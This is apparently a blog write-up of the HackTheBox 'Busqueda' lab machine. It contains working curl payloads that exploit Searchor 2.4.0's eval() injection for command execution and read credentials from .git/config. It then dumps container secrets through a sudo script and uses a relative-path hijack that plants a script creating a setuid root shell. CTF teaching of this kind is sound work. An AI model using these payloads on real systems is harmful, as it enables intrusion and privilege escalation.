Eye of Ra
SECURITY RESEARCHAsbawy
cd ../writeups
2026-08-03·HackTheBox·Machine·15 min

Busqueda — HackTheBox Machine Writeup

EasyWeb LinuxAUTO
WebFlaskSearchorEval InjectionCredential ReuseSudo MisconfigurationLinux
Exploit_Kill_Chain
3 Phases
01Recon a Flask search proxy
Analysis

Port scan reveals SSH + HTTP. The web app is a search proxy powered by Flask and Searchor 2.4.0, whose eval()-based query builder is known to be injectable.

Tools:nmapcurl
02RCE via Searchor eval() injection
Exploitation

The POST /search endpoint splices the query into an eval() string. A popen() payload yields command execution as svc, which we use to leak credentials from the app's .git/config and pivot to SSH.

Tech:Python eval() Command Injection
Tools:curlparamiko
03Relative-path hijack of a sudo script
Escalation

svc may run /opt/scripts/system-checkup.py as root. Its full-checkup action executes ./full-checkup.sh with a relative path, so a planted payload in the CWD runs as root and drops a setuid shell.

Tech:Relative Working Directory Hijack
Tools:sudobash
_

Challenge Overview

Busqueda is a clean, well-paced Easy box: a single vulnerable web library (Searchor 2.4.0) gives command execution; a leaked git remote URL inside the deployed app leaks credentials; and those credentials are reused for SSH and sudo, ultimately letting a relative-path invocation of a root-only script drop a setuid shell. No kernel tricks, no binary exploitation — just configuration mistakes and a famous eval() antipattern.

Beginner note: the whole box is a chain of "trust" mistakes — passing attacker input into eval(), committing credentials into a git remote URL, and reusing that same password everywhere. Keep a notepad of every credential you find; on this box they all interlock.

_

Enumeration & Web Application Recon

A full-port scan with service detection comes back clean:

~ / text
$ nmap -p- -sCV 10.129.53.77
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu
80/tcp open http Apache httpd 2.4.52

Browsing to the IP redirects to http://searcher.htb/, so the target uses virtual hosts. Adding the box's hostnames to /etc/hosts:

~ / bash
echo "10.129.53.77 searcher.htb gitea.searcher.htb" | sudo tee -a /etc/hosts

The home page is a search form with a huge engine dropdown. Two details in the page stand out immediately:

  • The footer: "Powered by Flask and Searchor 2.4.0"
  • The Server: Werkzeug/2.1.2 Python/3.10.6 header
~ / text
$ curl -sI http://searcher.htb
HTTP/1.1 200 OK
Server: Werkzeug/2.1.2 Python/3.10.6

Searchor is a PyPI package that builds engine search URLs. Version 2.4.0 has a notorious flaw: the CLI and library build the search call via eval() on a format string, and both the engine and the query are interpolated unescaped.

Any version of Searchor before 2.4.2 is vulnerable. The patch (2.4.2) replaced the eval()-based URL builder with an explicit dictionary lookup — a textbook case of "eval is not a templating engine".

_

The Searchor 2.4.0 eval() Injection

We cover source code auditing techniques, dangerous dynamic code evaluation patterns (eval(), popen()), and parameter handling in full detail in our article: Source Code Review: Unearthing Critical Flaws in PHP.

The vulnerable code in src/searchor/main.py looks roughly like this:

~ / python
# searchor == 2.4.0 (vulnerable)
url = eval(
f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
)

The server-side application takes the user's query and passes it straight into that string. Because the query is wrapped in single quotes, a payload of the form

~ / text
' + __import__('os').popen('id').read() + '

breaks out of the quoted string, evaluates as Python, and concatenates the command's stdout into the search URL. The app then renders that URL back in the response — which conveniently gives us a read channel for command output.

::Proof of Concept

~ / bash
curl -s -X POST http://searcher.htb/search \
--data-urlencode "engine=GitHub" \
--data-urlencode "query=' + __import__('os').popen('id').read() + '"

The response is a GitHub search URL with our command output URL-encoded inside it:

~ / text
https://www.github.com/search?q=uid%3D1000%28svc%29%20gid%3D1000%28svc%29%20groups%3D1000%28svc%29%0A

Decoded: uid=1000(svc) gid=1000(svc) groups=1000(svc) — arbitrary command execution as the svc user.

_

Credential Harvesting via RCE

With a command channel, the first stop is the deployed app's own git history and configuration. The web root is /var/www/app:

~ / bash
curl -s -X POST http://searcher.htb/search \
--data-urlencode "engine=GitHub" \
--data-urlencode "query=' + __import__('os').popen('cat /var/www/app/.git/config').read() + '"

The leaked .git/config contains a remote URL with embedded credentials:

~ / ini
[remote "origin"]
url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git

A classic credential-in-URL leak. The password belongs to a gitea user cody. Rather than fighting the RCE for a stable shell, I tested the same password against SSH — and the box reused it for the svc account:

We cover local credential harvesting methodology, secrets extraction (.git/config, .env, process environments), and user enumeration in depth in our Linux Privilege Escalation: Enumeration Cheatsheet.

~ / bash
ssh svc@searcher.htb # password: jh1usoih2bkjaspwe92
~ / text
svc@busqueda:~$ id
uid=1000(svc) gid=1000(svc) groups=1000(svc)
svc@busqueda:~$ cat /home/svc/user.txt
0a5428....4c64751d

::User flag

user.txt
••••••••••••••••••••••••••••••••[ Click to reveal flag ]
_

Privilege Escalation — Relative-Path Hijack

::Checking sudo rights

~ / text
svc@busqueda:~$ sudo -l
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *

svc can run one specific script as root — but only that exact interpreter invocation. The script itself is not readable (-rwx--x--x), so I pulled its source from the Gitea instance instead, using the administrator account on gitea.searcher.htb. The Gitea database password comes from inspecting the gitea docker container via the same sudo script:

~ / bash
sudo /usr/bin/python3 /opt/scripts/system-checkup.py \
docker-inspect '{{range .Config.Env}}{{printf "%s\n" .}}{{end}}' gitea
~ / text
GITEA__database__DB_TYPE=mysql
GITEA__database__HOST=db:3306
GITEA__database__NAME=gitea
GITEA__database__USER=gitea
GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh

That password logs into Gitea as administrator, and the administrator/scripts repo contains the source of system-checkup.py. The interesting branch:

~ / python
elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
exit(1)

The bug: ./full-checkup.sh is a relative path. The script never changes into /opt/scripts and never resolves the path against the script's own directory — it inherits the current working directory of whoever invokes it. So if I run sudo ... system-checkup.py full-checkup from a directory I control, the root process executes my full-checkup.sh.

This is the same class of bug as PATH hijacking, but for the working directory instead of PATH: the program trusts an environment-derived location (the CWD) instead of anchoring to an absolute path. Running sudo from /tmp is all it takes.

We cover relative PATH/CWD hijacking, sudo environment abuse, and GTFOBins setuid escapes fully in our Linux Privilege Escalation: Basics & Exploitation Cheatsheet.

::Crafting the payload

~ / bash
svc@busqueda:/tmp$ cat > full-checkup.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/bb
chmod u+s /tmp/bb
EOF
svc@busqueda:/tmp$ chmod +x full-checkup.sh
 
svc@busqueda:/tmp$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[+] Done!
 
svc@busqueda:/tmp$ ls -l /tmp/bb
-rwsr-xr-x 1 root root 1396520 Aug 3 09:08 /tmp/bb

The sudo invocation ran from /tmp, so ./full-checkup.sh resolved to my payload, which ran as root and copied /bin/bash into a setuid binary. Executing it with preserved privileges gives an euid-0 shell:

~ / text
svc@busqueda:/tmp$ /tmp/bb -p
bb-5.1# id
uid=1000(svc) gid=1000(svc) euid=0(root) egid=0(root)
_

Verification & Proof of Work

Two independent confirmations of the root shell:

  1. File ownership check/tmp/bb shows -rwsr-xr-x 1 root root, proving the copy ran with root privileges (a non-root copy would show owner svc).
  2. euid inspectionid from inside the setuid shell reports euid=0(root) egid=0(root) while the real uid stays 1000; bash only honors the setuid bit with -p and reports it via euid, which is exactly what we observe.
~ / text
# cat /root/root.txt
056cb7d1...c485bd64e2

::Root flag

root.txt
••••••••••••••••••••••••••••••••[ Click to reveal flag ]
_

Autosolve

The whole chain is scriptable end-to-end: the RCE gives us the credentials, the credentials give us SSH, and SSH gives us the sudo abuse. autosolve/htb_busqueda_solve.py runs it in six steps with no hardcoded secrets — everything is harvested off the live target.

htb_busqueda_solve.py

Click Run Exploit to start the automated exploitation

6 steps · fully automated

Standalone Solver Script: View or run the complete automated solver htb_busqueda_solve.py in our /autosolve directory.

_

References

about the author
Eye of Ra
Asbawy(Mohammed Al-Kasabi)

Red Team Consultant · Penetration Tester · Bug Bounty Hunter

Offensive security professional with 250+ vulnerabilities reported across 50+ organizations including Atlassian, Vimeo, and AT&T. Sharing research, tools, and field notes.

// end of writeup — return /writeups